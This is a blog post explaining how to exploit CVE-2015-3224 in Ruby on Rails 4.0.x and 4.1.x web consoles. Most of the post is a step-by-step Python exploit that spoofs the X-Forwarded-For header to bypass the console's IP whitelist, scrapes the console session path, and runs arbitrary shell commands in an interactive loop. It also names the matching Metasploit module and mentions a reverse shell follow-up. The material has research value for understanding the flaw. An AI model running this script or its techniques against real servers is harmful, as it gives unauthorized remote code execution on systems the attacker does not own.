This post is to get you understanding on the vulnerability and ways to exploit.
About
This exploits are in the wild and affecting all Ruby on Rails web application version 4.0.x and 4.1.x where the web console is enable which is default to development and test environment.
Vulnerability
The vulnerability relies on IP whitelist in the developer web console so that only allowed IP can view the web console.
Exploit
The exploit is to craft remote request to spoof their origin and bypassing the IP whitelist to use the web console. This cause in Remote Code Execution (RCE) to target web application. This exploit is also affect code execution on Rails 4.2.x if the attack is launched from whitelisted IP range. If the whitelisted IP is localhost, you might need to use local proxy to exploit this application.
Techniques
The example here is written in Python. When dealing with web, I like to use python requests library since it is very easy to use. The first part is to get 404 on the Rails application. This can easily be done by appending any non-existing page in the url.
#!/usr/bin/python3
import requests
url = 'http://victim.com/'
response = requests.get(url + 'non-existing-page')
print response.status_code # should be 404
If viewing on web, you should see Rails debug information if the application is in development mode. Moving on!
Next important part is to spoof the origin with X-Forwarded-For
header.
The X-Forwarded-For HTTP header field is a common method for identifying the originating IP address of a client connecting to a web server through an HTTP proxy or load balancer.
Source: Wikipedia
By setting the X-Forwarded-For header to localhost, this will spoof the server origin whitelist IP (which is allowed in localhost) and allowing us to view and use the web console.
...
header = {
'X-Forwarded-For' : '::1'
}
response = requests.get(url + 'non-existing-page', headers=header)
...
After spoofing the origin, the console should be seen. You can type arbitary command between the backticks enclosure to run shell commands. To do this in python, you need to grab the remote console session path first. This can easily be done using python regex library.
#!/usr/bin/python3
import requests
import re
url = 'http://victim.com/'
header = {
'X-Forwarded-For' : '::1'
}
response = requests.get(url + 'non-existing-page', headers=header)
console_remote_path = re.findall("data-remote-path='(.*)'", response.text)[0]
print console_remote_path
After getting the console_remote_path
you can interact with the web console by using PUT
request method inside while
loop. You should now have a working python exploit script. Cheers!
...
url = url + console_remote_path
while True:
header = {
'X-Forwarded-For': '::1',
'Accept': 'application/vnd.web-console.v2',
'X-Requested-With': 'XMLHttpRequest'
}
cmd = raw_input('cmd> ')
if cmd == 'exit' or cmd == 'quit':
break
elif cmd == ' ':
continue
cmd = '`' + cmd + '`' # Important! running shell command should be enclosed between backticks
data = {'input': cmd}
response = requests.put(url, data=data, headers=header)
# beautify output
content = response.text.split('\\n')[0:-2]
for line in content:
line = line.strip('\\')
line = line.split('"', -1)[-1]
print(line)
For further exploitation on getting a reverse shell, you should visit my other blog post specifically on reverse shell.
Exploiting using Metasploit
Using Metasploit has other advantages of managing between sessions and running modules for further exploitation.
To exploit this vulnerability using Metasploit, you can use exploit/multi/http/rails_web_console_v2_code_exec
. Set RHOST
and RPORT
to match your victim Rails web service. Finally run exploit
to start exploiting the target. Note that when using Metasploit, RHOST must be an IP address not a hostname.
This vulnerability was reported by both joernchen of Phenoelit and Ben Murphy.
Reference:
URL: https://www.cvedetails.com/cve/cve-2015-3224
URL: http://openwall.com/lists/oss-security/2015/06/16/18
URL: https://groups.google.com/forum/message/raw?msg=rubyonrails-security/lzmz9_ijUFw/HBMPi4zp5NAJ
URL: https://hackerone.com/reports/44513